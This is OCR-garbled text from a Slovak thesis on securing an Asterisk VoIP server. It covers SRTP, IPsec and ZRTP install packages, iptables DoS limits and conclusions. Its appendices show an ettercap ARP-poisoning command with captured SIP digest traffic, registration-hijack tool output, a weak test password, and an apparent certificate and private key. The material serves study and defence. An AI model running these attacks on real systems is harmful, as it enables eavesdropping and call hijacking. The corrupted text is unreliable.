nosti sa nachadza obraz linuxu vo formate ,vdi“, poany aplikdciou Oracle Virtualbox. Ide
o ¢istu predpripravenu inStalaciu Debianu 5.0.4, satéfom test a heslom ,test®. Superuzivate
root ma heslo ,diplomkal”. InStalacia neobsahuje X eerani dalSie nadbyténé aplikacie

a baltky. Vysledkom je relativne mala Keos’ obrazu, nezabera viac ako 800MB. Pre pripad
vlastnej inStalacie linuxu na novy §ita¢ alebo do aplikdcie VMware player som priloZil ,iso
subordebian-504-i386-netinst.isaumoziujuci inStalaciu z webu. Pre zrychlenie épmidpor&am
inStalaciu bez X servra, kde pri dobrom pripojeidtsutie potrebnych balikov a inStalacia netrva
dihSie ako 20 min. Na novo nainStalovany systénomomdzZzme aplikoua jednotlivo nizSie
uvedené batky, ktorymi ziskame diskutované zabezgeie VolP systému s Ustigml Asterisk.
Jednotlivé baliky su definované ako samostatn@mieSa preto neodparam ich kombinaciu. Pre
pripadné preinStalacie je zo systému nutné odolpeedchodzi balik a zmazazoznam
configura&nych suborov napr. pre srtp balik pomocou:

rm —f /var/lib/dpkg/info/asterisk-config-srtp.list

Vsetky baliky su ulozené na prilozenom DVD rgsktory si do linuxovych repositarov pridame
prikazom:

apt-cdrom add

e Varianta zabezgenia SRTP + TLS, autoinStalacny Bak obsahuje Asterisk verziu svn-
group-srtp_reboot-r262112M, z ktorgpurcekddu som vytvoril ,,deb” batiek. DéleZitou
¢ag’ou bola uprava inStalaych konfigurgnych suborov,control arules ktoré som
definoval a upravil. Batiek asterisk-srtpje zavisly nad’alSom pripravenom baliku, ten
obsahuje nakonfigurované nastavenie zahgxzpa a Dialplan z experimentu v kapitole
8.1. Nutnym krokom z pdladu administratora je vygenerovanie vlastnych fileitbv
aich podpis, vlastny alebo zabepeay oficialnou certifikdnou autoritou. Preto tato
varianta obsahuje aj b&tk openssl potrebny pre jednoduchu pracu s certifikatmi.tRos
dodat@nej konfigurécie je taktiez popisany v kapitole. 8alicek je po pridani dostupny
Vv repositary a preto ho inStalujeme priamo prikazom

apt-get install asterisk-srtp

« Daldou variantou je IPsec. Bsk obsahuje poslednt vydanu oficialinu verziu Asker
1.6.2.7. InStalény baltek uz obsahuje prispésobené aplikanieipsec-tool&my-racoon
potrebné pre komunikaciu cez IPsec a zatosg ich testovacie konfigutaé subory
pouzité na experiment v kapitole 8.3.3. Pre viagho@Zitie postd zmena IP adries
v konfiguratnych suboroch ipsec-tools.conf aracoon.conf areStart IPsec sluZieb.
Poslednym krokom je spravna konfiguracia na stkdieatov v prostredi Windows, kde si
pomocouRun > secpol.msspustime a prispésobime nastaveniet opad’a kapitoly
8.3.3. IPsec nevyZaduje Ziadne dodaé zabezp&enie, kvoli iuspeSnemu zabezpgriu
nizSej si€ovej vrstve a preto nekonfigurujeme ani podporu Hos SRTP. Tento bakek
inStalujeme prikazom:

apt-get install asterisk-ipsec
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 Posledny batiek predstavuje variantu zabegpria pomocou ZRTP. Opaobsahuje
poslednt vydanu oficialnu verziu Asterisku — 1.6.2a konfiguréné subory
z uskut@éneného experimentu z kapitoly 8.3.2. SRTP podpoge nhakonfigurovana
a nahradza ju podpora ZRTP. Vytvorenie Sifrovanéf®TEZ spojenia sa konfiguruje
v prostredi Windows pomocodfone aplikacie a napr. softphone klienRhonerlite
Postup najdeme v kapitole 8.3.2. Na DVD je dostuppaverzia Asterisk 1.4.23.1
s patchomzrtp_asterisk ten ale vyZzaduje Specialnu inStalaciu s podpopoiloZzenej
knihovny libzrtp-0.90.572.gplKlasicku inStalaciu z ,deb” balika spi@ne podobne ako
v predchadzajucich pripadoch:

apt-get install asterisk-zrtp

8.6 Praktické zabezpe ¢€enie na aplika énej vrstve pomocou iptables

Zabezpéeny systém by mal zalwva® aj dodaténé zabezpgenie na aplikénej vrstve napr.
v podobe linuxového nastroja Iptables. Tento nastnmoziuje kompletné riadenie sievej
prevadzky na zaklade danych pravidiel. Predstaap|iacny firewall, kde su pakety povoleré
zahadzované pdid vyhodnocujucich pravidiel, viac teorie o Iptabiegpr. vélanku [36]. Kel'ze je
Iptables Standardne inStalovand aplikicia v digtidch Debian a Ubuntu, d& sé&nine vyuzi aj
ako ochrana proti réznym smvym utokom. V tejto praci predstavym pravidla manedzenie DoS
atokom predvadzanym v kapitole 7.3, ktoré sa pripathju Specificky prisposabi

Pridanim nasledujucich prikazov, definujeme maximgbaiet 10 akceptovanych pozZiadavok
na lokalnom UDP porte 5060 z jednej IP adresy za.3Bamedzi sa tak moznym DoS utokom.
Vychadzal som z literatary [37] opisujucej zabegree ssh spojenia. Prikazy som vSak musel
postupne upraviaby vyhovovali VolP systému. Existuju aledglSie mozné varianty na ochranu
napr. TCP portu 5061 pri pouZiti TLS (SIPS) sigrédie a zhody novovytvorenych spojeni.

iptables -A INPUT -i ethO -p udp --dport 5060 -m re cent --set --name SIP
iptables -A INPUT -i ethO -p udp --dport 5060 -m re cent --update --seconds 30 --
hitcount 10 --rttl --name SIP -j LOG --log-prefix " Drop paket-limit 10req/30s"
iptables -A INPUT -i ethO -p udp --dport 5060 -m re cent --update --seconds 30 --

hitcount 10 --rttl --name SIP -j DROP

V pripade mojej konfiguracie, druhy prikaz logughadené pakety do kernel logu takmvessages
resp.dmesgpre preliadnos. Na realnom systéme vSak odptatn tento prikaz odobfaaby sme
nezahltili diskovy priestor zbytmymi informaciami.

debian:~# tail -f /var/log/messages

May 15 19:17:30 debian kernel: [41422.588304] Drop paket-limit 10req/30s IN=eth0
OouUT= MAC=08:00:27:da:e7:90:00:1a:4d:54:38:€2:08:00 SRC=192.168.1.35
DST=192.168.1.38 LEN=32 TOS=0x00 PREC=0x00 TTL=128 ID=27146 PROTO=UDP SPT=5063
DPT=5060 LEN=12

May 15 19:17:30 debian kernel: [41422.588304] Drop paket-limit 10req/30s IN=eth0
OuUT= MAC=08:00:27:da:e7:90:00:1a:4d:54:38:€2:08:00 SRC=192.168.1.35
DST=192.168.1.38 LEN=32 TOS=0x00 PREC=0x00 TTL=128 ID=27147 DF PROTO=UDP

SPT=5064 DPT=5060 LEN=12

Pre zaujimavasuvediem ajd’alSiu mozno$ zabranenia DoS utokom, v pripade neprehladnosti
Iptables alebo nemoZnosti defindvaravidla priamo do systému. Ide o aplika&iil2ban, ktorej
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hlavhou funkciou je prezeranie &ddanie v danych systémovych logoch alagé@vanie
definovanych textovych stringov, napriklad:

NOTICE.* .*: Registration from ".*' failed for '<HO ST>' - Wrong password
Nasledne program aplikuje prislusné Iptables ptavido reazca INPUT, poth nastavenej

konfiguracie. BlizSie informacie a presny popis kguafécie fail2ban najdeme napr. v literatdre
[38].
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9 Zaver

IT technoldgie poskytuju pre Vieé podniky a ich datové a hlasové sluzby naozgp&iee rieSenia.
Na vyvoj a podporu bezpeostnych metdd si potrpia predovsetkym podnikyrét strazia svoje
cenné Udaje atakzvkpow-how. Preto nevahaju ainvestuju do zaberyea svojej sitovej
infraStruktary zn#éné finakné prostriedky. To vytvara priestor a portfélia pvelké IT
komunika&né spolénosti (CISCO, AVAYA...) ataktiez predstavuje stalevé Standardizované
a proprietarne nastroje a protokoly. Na druhejstya sektore pdtacovych expertov a stale #%ej
casti domécich pouzivdiev, sa teSia J&ej old’'ube produkty zo sveta Open Source. Toto
ozna&enie predstavuje softwarové nastroje a produkty pPnekd verejnos pod licenciou
GPL(General Public Licenge

V diplomovej praci som navrhol a overil moZnaztistenia bezgaosti VolP systému a to
z poladu signalizacie a RTP prenosu. Praca je sustres@r@pen Source potkovu Ustredu
Asterisk a moznosti zabezfmia proti utokom. Venoval som sa jednotlivym expentalnym
moznostiam generovania Utokov na VolP systém s P8i¥ediou Asterisk, a naslednej analyze
uskut@nenych atokov a definovani variantnych opatreni.ppdrobnom zhodnoteni a porovnani
jednotlivych opatreni, z pdadu narénosti implementécie a podpory samotnych sluziebsaiany
pobatkovej Ustredne, tak aj zo strany koncového kliestan vybrané rieSenia overil a vytvoril
bezp&nostné autoinstataée baléky.

V teoretickejcasti prace som sa okrem protokolov SIP, H.323, MGTIR a IAX zameral aj
na zabezpgné moznosti prenosu signalizacie a datoasti hovoru, v podobe MD5 autorizacie a
bezpeénostnych metod SIPS, SRTP, ZRTP a IPsec. Autorizd@itokolu SIP sa pri Ziadostiach
REGISTER a INVITE dnes povaZuje za samozrefmosv&siny poskytovatéov internetovej
telefonie. Dobrym krokom by bolo roz&irtdto moznosg aj na d’alSie napr. BYE, CANCEL.
NajdblezitejSim faktom pre udrzanie be&pe autorizicie je dodrzanie dopdeaych zasad pri
vytvarani hesla. Pri experimentovani s Gtokmi vitcde 7.4.1 sa potvrdil fakt o jednoduchosti
odhalenia kratkeho alebo nekvalitného hesla. S/IMIM®© bezpénd verzia MIME sprav sa v
prostredi VolP systémov immi nepouZiva a je viac vyuZzivana emailami. Nardzde
zabezpeéenia transportnej vrstvy protokolom TLS, ktory jebde vyuzZitény vo viacerych
oblastiach zabezpenia aplikénych protokolov (https, sips). Na podporu tohototpkolu sa
viditel'ne kladie véky dbéraz a Asterisk dokdze pracéva TLS protokolom od verzie 1.6.x,
vid’ kapitola 5.1. Ak sa kladie déraz na jednoduch@ko najvhodnejSi sa javi protokol ZRTP
nevyzadujuci Ziadne doda&twé certifikaty a komplikované konfiguracie ako vpgade SRTP resp.
IPsec. V tejtocasti prace som taktiez predstavil a priblizil OpBaurce Ustratl Asterisk
a pojednal o jej moznostiach, prednostiach a padpokomunite. Konkrétne SRTP protokol je
podporovany v dvoch verziach z toho aktuélne jeijayva verziasrtp_rebootdostupna svnservra
digium. Priblizil som vlastnosti a hlavné rysy jetlivych podporovanych verzii a predstavil
jednotlivé moZnosti utokov na VolP systém pmdvebu Voipsa [18] spolu s kme dostupnymi
a hlavne funknymi nastrojmi na generovanie takychto atokov.

Druh& praktick&ad’ prace je venovana moznostiam generovania tychperarentalnych
atokov na jednotlivétasti VolP systému a definovaniu dosiahnutého vysdad efektu. Presne
Specifikované postupy Utokov predstavuju zdroj yEené otestovanie VolP systémov s naslednou
moznosou analyzi dosiahnutého vysledku. Zahlcovacie Utakyapitoly 7.3 na UDP port v
prevedeni prazdneho UDP paketu alebo SIP INVITEpakepredstavovali pre Ustiedzavazny
problém, aj k&' v niektorych situaciach nedokazala obglizovory. Hne’ po skoieni utoku sa
systém vratil do pévodného stavu. &g problémy uz dokézal spdsphitok na signalizné
parametre v podobe technikgall Hijacking' z kapitoly 7.4.1, s ktorym som po odhaleni hesla
azmene IP adresy mohol registrovaudzieho klienta pod menom odchytenéhiasinika.
SdalSou testovanou technikouReplay attack som po zmeneni niekKkych konkrétnych
parametrov a okamzitom odoslani paketu nepotreb@vaelomt’ heslo MD5 hashu, pretoze
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Asterisk autorizacia Standardne prijme poZiadavkoveakym heslom do 30s od vygenerovania
prvotného digestu. Na zaklade celkovej analyzi alositych vysledkov, som definoval patn
opatrenia a nasledne testoval na svojom testovasgstéme. Z predvedeného experimentu
v kapitole 8.1 vyplyva, Ze TLS vrstva zabe&géca signalizaciu pomocou vymeny podpisanych
certifikatov a nasledného Sifrovania predstavuj@mie Gcinny spdsob zabranenia mnohym
experimentovanym utmym technikdm. Konkrétne skér spominany utdRall Hijacking® je
nepouzitény z dévodu utajenia celej informécie v Sifrovapeflobe. PretoZze nedokaZzeme zamheni
Ziaden zo signalizmych parametrov, straca vyznam d&geplay attack a ,Session Teardown
attak’. Redlne pouzitie MIKEY protokolu sa nakoniec ulkézako nefunkné z doévodu slabej
podpory ako zo strany Asterisk komunity, tak ajolycov telefénov a softphonov. Pre podporu
SRTP protokolu v Asterisku je potrebn& Specialnaigena ktorej sa v tomto obdobi stéle pracuje,
aby sa dostala do poslednej oficialnej verzie [#4. UspeSnej inStalacii je konfiguracia celkovo
jednoducha a Sifrovanie funguje bezproblémovo seami porovnatinymi so Standardnym RTP
prenosom. Konkrétne odozva od vyslania INVITE pakeb prijatia vyzvaacieho paketu ,180
Ringing" bola 27ms ako je mozné vidiema Obr.8.2.Daldiu testovani moznossifrovania
poskytuje ZRTP protokol s aplikadciaZfone ZRTP protokol pouZiva na komunikaciu vytvorené
RTP spojenie a po bezppem vyjednani parametrov, Sifruje hlasovu zloZzkwdra symetrickou
Sifrou podobne ako SRTP. Protokol ZRTP fmdficidlneho webu [40] podporuje preposielanie
ZRTP paketov a komunikaciu priamo s Asteriskom. Bot&ktovani support centra na adrese z
[29] som obdrzal link s testovacim patchom na Askewerziu 1.4.23.1 a v kapitole 8.3.2 je
uvedeny mdj postup uspesnej inStalacie Asterisgadporou obdrzaného zrtp patchu. Verzia je
naozaj v testovacom Stadiu, pretoZze nasledna kaoipilAsterisku vracia desiatky ,Warning*
sprav, ako aj chyb o nenajdenych knizniciach, k&wén musel vyrie§i Poslednym testovanym
bezpénostnym opatrenim je IPsec, ktorého spravna kordja nie je najjednoduchs$ia. VyZaduje
inStal4ciu a naslednu konfiguraciu dodagch aplikaciiipsec-toolsaracoon Rovnako aj spravna
konfiguréacia v prostredi Windows vyZaduje predclaigize pochopenie fungovania protokolu.

Vysledky praktickych experimentov som zhrnul dm&ovej analyzi a préadne uviedol do
prislusnej tabiky. Vykonané experimenty som porovnaval zlamu vykonu, obtiaZznosti
implementacie a celkového zabeggmia pouzitej metddy. Na zéklade vystupov z andtgpitoly
8.4 som sa rozhodol pre tri rieSenia, ktoré ponukako autoinStatné linuxové baliky v
nasledujucej kapitole. Baliky predstava profily s nkgétnou verziou Asterisk Ustredne
a dophujucimi aplikaciami s predpripravenou konfigura@uyostupom instalacie s dod&igm
nastavenim parametrov. lde otri ,deb" balilasterisk-srtp asterisk-ipsec aasterisk-zrtp.
Predstavuju zabezpenie VoIP systému s prostredim Asterisk a podpovolne dostupnych
nastrojov a protokolov. V zavere prace som dophjgledné moznosti praktickym zabezppim
na aplik&nej vrstve. Za viami efektivny nastroj sa da povazouatables takzv. linuxovy firewall.
Ten som nakonfiguroval, aby odrazal parametre VeyBtému a branil tak mozné DoS utoky
v kapitole 8.6.

Ako mdéZeme vidie v praci, moznosti ako komplexne zabeip&/olP systémy je dostainé
mnoZstvo. Rovnako vSak aj hrozieb, ktoré mézwnith pouZi k zneuZitiu alebo pripadnemu
kompletenému vyradeniu sluzby z prevadzky. Dnev&k stale zabezpenie VolP systémov
v podobe TLS alebo SRTP volkej miere neupldiuje, aj ke’ HTML protokol TLS vrstvu hojne
vyuziva. Dévodom je podla ia absencia kvalitnych a znamych aplikacii zo str&agcovych
zariadeni ale aj serverovych rieSeni ako PBX Ustrgaydporujucich zabezpevacie protokoly.
Nakoniec aj celkovarahostajno verejnych ISP venovasa tomuto stale viac aktualnemu
problému.
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A. Odchytena sie tova komunikacia a konfigura ¢éné subory

A.1 Odchyteni MiTM atok

debian:~# ettercap -w file.cap -T -M arp:remote /19 2.168.1.43/5060 /192.168.1.36/5060
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on ethO... (Ethernet)

ethO -> 08:00:27:2F:8A:AE  192.168.1.40 2 55.255.255.0
SSL dissection needs a valid 'redir_command_on' scr ipt in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins

39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Scanning for merged targets (2 hosts)...
*| ==>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1:192.168.1.43 00:26:C6:51:7D:B4
GROUP 2:192.168.1.36 08:00:27:1C:DD:1B
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help

Thu Feb 11 15:11:59 2010

UDP 192.168.1.43:5060 --> 192.168.1.36:5060 |

REGISTER sip:192.168.1.36 SIP/2.0.

Via: SIP/2.0/UDP
192.168.1.43;branch=z9hG4bKc0a8012b000000624b7472a6 00007b9b0000003a;rport.
From: "unknown" <sip:100@192.168.1.36>;tag=61c0lec2 54.
To: <sip:100@192.168.1.36>.

Contact: <sip:100@192.168.1.43>.

Call-ID: 37C26345ED6B44C1B057DD7039D3B5610xc0a8012b

CSeq: 27 REGISTER.

Max-Forwards: 70.

User-Agent: SJphone/1.65.377a (SJ Labs).

Content-Length: 0.

Thu Feb 11 15:11:59 2010

UDP 192.168.1.36:5060 --> 192.168.1.43:5060 |
SIP/2.0 100 Trying.

Via: SIP/2.0/UDP

192.168.1.43;branch=z9hG4bKc0a8012b000000624b7472a6 00007b9b0000003a;received=192.168.1.43
;rport=5060.
From: "unknown" <sip:100@192.168.1.36>;tag=61c0lec2 54.

To: <sip:100@192.168.1.36>.

Call-ID: 37C26345ED6B44C1B057DD7039D3B5610xc0a8012b

CSeq: 27 REGISTER.

User-Agent: Asterisk PBX.

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU BSCRIBE, NOTIFY.
Supported: replaces.

Contact: <sip:100@192.168.1.36>.

Content-Length: 0.

Thu Feb 11 15:11:59 2010

UDP 192.168.1.36:5060 --> 192.168.1.43:5060 |
SIP/2.0 401 Unauthorized.

Via: SIP/2.0/UDP

192.168.1.43;branch=29nG4bKc0a8012b000000624b7472a6 00007b9b0000003a;received=192.168.1.43
;rport=5060.
From: "unknown" <sip:100@192.168.1.36>;tag=61c0lec2 54.

To: <sip:100@192.168.1.36>;tag=as36b2d47e.
Call-ID: 37C26345ED6B44C1B057DD7039D3B5610xc0a8012b
CSeq: 27 REGISTER.
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User-Agent: Asterisk PBX.

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU
Supported: replaces.

WWW-Authenticate: Digest algorithm=MDS5, realm="aste
Content-Length: 0.

Thu Feb 11 15:11:59 2010

UDP 192.168.1.43:5060 --> 192.168.1.36:5060 |

REGISTER sip:192.168.1.36 SIP/2.0.

Via: SIP/2.0/UDP
192.168.1.43;branch=z29hG4bKc0a8012b000000634b7472a6
From: "unknown" <sip:100@192.168.1.36>;tag=61c0lec2
To: <sip:100@192.168.1.36>.

Contact: <sip:100@192.168.1.43>.

Call-ID: 37C26345ED6B44C1B057DD7039D3B5610xc0a8012b
CSeq: 28 REGISTER.

Max-Forwards: 70.

User-Agent: SJphone/1.65.377a (SJ Labs).

Content-Length: 0.

Authorization: Digest
username="100",realm="asterisk",nonce="69736a51",ur
26086d92b66d52568d317b10b",algorithm=MD5.

Thu Feb 11 15:11:59 2010

UDP 192.168.1.36:5060 --> 192.168.1.43:5060 |

SIP/2.0 100 Trying.

Via: SIP/2.0/UDP
192.168.1.43;branch=z9hG4bKc0a8012b000000634b7472a6
;rport=5060.

From: "unknown" <sip:100@192.168.1.36>;tag=61c01lec2
To: <sip:100@192.168.1.36>.

Call-ID: 37C26345ED6B44C1B057DD7039D3B5610xc0a8012b
CSeq: 28 REGISTER.

User-Agent: Asterisk PBX.

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU
Supported: replaces.

Contact: <sip:100@192.168.1.36>.

Content-Length: 0.

Thu Feb 11 15:11:59 2010

UDP 192.168.1.36:5060 --> 192.168.1.43:5060 |

SIP/2.0 200 OK.

Via: SIP/2.0/UDP
192.168.1.43;branch=z29nG4bKc0a8012b000000634b7472a6
;rport=5060.

From: "unknown" <sip:100@192.168.1.36>;tag=61c01ec2
To: <sip:100@192.168.1.36>;tag=as36b2d47e.

Call-ID: 37C26345ED6B44C1B057DD7039D3B5610xc0a8012b
CSeq: 28 REGISTER.

User-Agent: Asterisk PBX.

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU
Supported: replaces.

Expires: 120.

Contact: <sip:100@192.168.1.43>;expires=120.

Date: Thu, 11 Feb 2010 21:11:59 GMT.

Content-Length: 0.

Closing text interface...

ARP poisoner deactivated.
RE-ARPing the victims...
Unified sniffing was stopped.
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BSCRIBE, NOTIFY.

risk", nonce="69736a51".

000031570000003d;rport.
54.

i="sip:192.168.1.36" response="dd88650

000031570000003d;received=192.168.1.43

54.

BSCRIBE, NOTIFY.

000031570000003d;received=192.168.1.43

54.

BSCRIBE, NOTIFY.



A.2 Konfigura €éné subory ustredne Asterisk

Dial plan - extensions.conf
;extensions.conf

[SIP_conf]

exten =>_X00,1,Dial(SIP/${EXTEN})

sip.conf

;sip.conf

[general]

context=SIP_conf

bindport=5060

dislallow=all

allow=ulaw

;allowguest=no ;znemozni volanie neregistrovanych
nat=yes

[100]

context=SIP_conf

type=friend

secret=asdf

username=user_100

host=dynamic

auth=md5

callerid="user_100"

;canreinvite=no ;zabrani RTPdirect prepojeniu klie

[200]
context=SIP_conf
type=friend
secret=asdf
username=user_200
host=dynamic
auth=md5
callerid="user_200"

A.3 Vystup z reghijacker tool

Registration Hijacker - Version 1.0
09/09/2004

Domain to Hijack Registrations: 192.168.1.36
Domain's SIP Registrar IP addr: 192.168.1.36
Hijack Contact Info: attack@192.168.1.65
User to Hijack: 100

User Password: asdf

My IP address for device ethO is: 192.168.1.40
Attempt to Hijack User: 100, Password: asdf

REGISTER sip:192.168.1.36 SIP/2.0

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=ef0d0cd5
From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>

Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc
CSeq: 1 REGISTER

Max-Forwards: 70

Contact: *

Expires: 0

Content-Length: 0

SIP/2.0 401 Unauthorized

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=ef0d0cd5
439553a86533;received=192.168.1.40

From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>;tag=as6b36e21a
Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc
CSeq: 1 REGISTER

ucastnikov

ntov

-005b-44ba-b770-439553a86533
44ba-9af7-cd5d3544d4f3

-005b-44ba-b770-

44ba-9af7-cd5d3544d4f3
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User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU
Supported: replaces

WWW-Authenticate: Digest algorithm=MDS5, realm="aste
Content-Length: 0

Response Digest = 815e520045b26ed1599d07ee2e50420f

REGISTER sip:192.168.1.36 SIP/2.0

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=ef1db354
From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>

Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc
CSeq: 2 REGISTER

Max-Forwards: 70

Contact: *

Authorization: Digest
username="100",realm="asterisk",nonce="0f701c9c",ur
045b26ed1599d07ee2e50420f",algorithm=md5

Expires: 0

Content-Length: 0

SIP/2.0 200 OK

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=ef1db354
87843fb76287;received=192.168.1.40

From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>;tag=as6b36e21a
Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc
CSeq: 2 REGISTER

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU
Supported: replaces

Expires: 0

Date: Tue, 16 Mar 2010 22:27:13 GMT

Content-Length: 0

REGISTER sip:192.168.1.36 SIP/2.0

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=ef25aa6c¢
From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>

Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc
CSeq: 3 REGISTER

Max-Forwards: 70

Contact: <sip:attack@192.168.1.65>

Expires: 86400

Content-Length: 0

SIP/2.0 401 Unauthorized

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=ef25aa6c¢c
cd5dc5bf0331;received=192.168.1.40

From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>;tag=as6b36e21a
Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc
CSeq: 3 REGISTER

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU
Supported: replaces

WWW-Authenticate: Digest algorithm=MDS5, realm="aste
Content-Length: 0

Response Digest = edbb103e974f583h6d29688f1f8c747a
REGISTER sip:192.168.1.36 SIP/2.0

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=f04d17ed
From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b-
To: 100 <sip:100@192.168.1.40>

Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc

CSeq: 4 REGISTER

Max-Forwards: 70
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BSCRIBE, NOTIFY

risk", nonce="0f701c9c"

-005b-44ba-8575-87843fb76287
44ba-9af7-cd5d3544d4f3

i="sip:192.168.1.36" response="815e520

-005b-44ba-8575-

44ba-9af7-cd5d3544d4f3

BSCRIBE, NOTIFY

-005b-44ba-8574-cd5dc5bf0331
44ba-9af7-cd5d3544d4f3

-005b-44ba-8574-

44ba-9af7-cd5d3544d4f3

BSCRIBE, NOTIFY

risk", nonce="07a9bd98"

-005b-44ba-b8b3-0621b69670af
44ba-9af7-cd5d3544d4f3



Contact: <sip:attack@192.168.1.65>

Authorization: Digest

username="100",realm="asterisk",nonce="07a9bd98",ur i="sip:192.168.1.36",response="edbb103
€974f583b6d29688f1f8c747a",algorithm=md5

Expires: 86400

Content-Length: 0

SIP/2.0 200 OK

Via: SIP/2.0/UDP 192.168.1.40:15002;branch=f04d17ed -005b-44ba-b8b3-
0621b69670af;received=192.168.1.40
From: 100 <sip:100@192.168.1.40>;tag=ef0d6321-005b- 44ba-9af7-cd5d3544d4f3

To: 100 <sip:100@192.168.1.40>;tag=as6b36e21a

Call-ID: ef0d747a-005b-44ba-9aa8-c92b2442dblc

CSeq: 4 REGISTER

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SU BSCRIBE, NOTIFY
Supported: replaces

Expires: 3600

Contact: <sip:attack@192.168.1.65>;expires=3600

Date: Tue, 16 Mar 2010 22:27:13 GMT

Content-Length: 0

A.4 Certifikat servra asterisk_serv.pem

MIIDIDCCAgwCCQDIf6MhvgmU3jANBgkghkiGOWOBAQUFADBUMQECQYDVQQGEwWJB
VTETMBEGALUECBMKU29tZS1TdGFOZTEhRMB8GALUEChMY SWaZ%QgV2lkZ2I0
cyBQdHkgTHRkMQOwWCwYDVQQDEWRqYXJvMB4XDTEWMDMzMDIMNIXOTEXMDMz
MDIXNDkxMlowVDELMAKGA1UEBhMCQVUXEzARBgNVBAgGTCINVEMBRhdGUXITAF
BgNVBAOTGEIudGVybmV0IFdpZGdpdHMgUHRS5IEX0ZDENMASGABAXMEamFybzCC
ASIwDQYJKoZIhveNAQEBBQADggEPADCCAQ0CggEBALjnYONsHiijac7VMcMAvV+M
Uk19/Jjo4R0f7300t3yNWA/1p7zcIJPDQEj47TFXahimFihq4JVr rSZTHzCfd51Cl
zZRC2vPK9rO5kHcURcyy1eQOAbydQsfTPPF1hdvQENRHrU4UHAGpgXsD9E4u48vIN
RvSPszw0QJSPi620NdsOD5aKzUw5q9tQ7XB4mfkJikGe8/AkQFj PfKFvJyUFOYmK
emttH498q58VvMp726gE2nMSF4kPO50fvMS0QTn3wEN4RfYIxh9 OLBS7+1dEKxqg+
1feKwkLerDxdWEM9xqSZGXfGmq+4t9BaAH4Gj3gRut6 YL6bNKfb  JWBtqUIZYUQgEC
AWEAATANBgkghkiGOWOBAQUFAAOCAQEAQq1ErezwuOIcTI+QGo0myWrD5AJ1XMLc
WIIN7DIf99uaAMZSmz1tgBLXbl/ksnO7eK6FLixP/gxyuhg2UiY K1/L7k9yBnKci
H28rw54X9EhfCk+gsktWxsFw0Z+udVhNczMWcN31zUY5zYUzshl  EMNyvGf3KiQM3
qye2Q/CRK8BKgdABXeqg6edb5mmKzu3cQ40DZ9eoll/rvbWh4gEq WFgsaZe74Qh2D
bHgg8KHIBDkaBIPsSNrGSQRMylvcKyg0S1a7HZs6whUX137sO05s +VPG5JE93ZcyW
UosSgqMW|55fS5¢5C27zVzo0xN5FOvimsKACDchDVmjrWeceZtelY  f8g==

MIIEpAIBAAKCAQEAuUOdg42w+aNONpztUxwwC/4xSTX38mOjhHR/ veii3fl1YD/Wn
VNWK8NASPjtMVdgGKYWKGrgWutJIMfMJ93nUIJNELa88r2s7mQ dxRFzLLV5DQBv
J1Cx9MBBXWF29ASdEetThQcAampewPO0Ti7jy8k1G9I+zPDRAII+  LrY412w4PlorN
TDmr21DtcHIiZ+QmKQZ7z8 CRAWM980W8nJQXRiYp6a20fj3yrnxW 8ynvbgATacxIX
iQ87k5+8xKhBOffAQ3hF9gjGH3QsFLv7VOQrGr7vV94rCQt6sPF1  YQz3GpJkZd8aa
r7i30FoAfgaPepG63pgvpsOp9slYG2pQhlhSAQIDAQABAOCIBAQC  wFkiCy7azjrCN
7gbSeDHyw+MtQSnpRP39C0i5QUVCcLABNQ9i2FsBnRP/anAYaTLO viajrwSpx51hv
g8Z8w0Oqk22L.04/gVA2VIsbdYEUIp9biOFTfFrSeMCD90ofoUV5b7  fbchgCObuENaj
219d1IgpEEbeaGs8jIZIJEHUynWnYaHTdJ41Gd+gHZ0e3LMICL4  1ZsXVLGJfcxdS
36ealfsPE9Op7vKzTOtgxnAPleFliZ2ERhK04FI4Yfyng8fc/Wm 0iIJEZULEOoHWzZ
Qi2jIBi4gKmA34zjUclz6Dah4nqwlj9fS2ijoyX4RyRbJITY|7/x t2nkQ10Jwa6z9
gyUIG2sxAoGBAONdgx3P80zAny4Sf3gw4dm6vSCOVLacdET7Qh3X 2sjPQjnEdQnUi
ZKy1VGHp2QzWBwJOrOthpWwXEYbLowrRovzj/HOkX5xJH1R4ZcGRu9YyXJ7ANtq9
pyNXXHSfSXiHHQ9Qy2L5D5nd4bxoZzDw+wF0OSzBXgHGWilieKz DPnYVAoGBANAwW
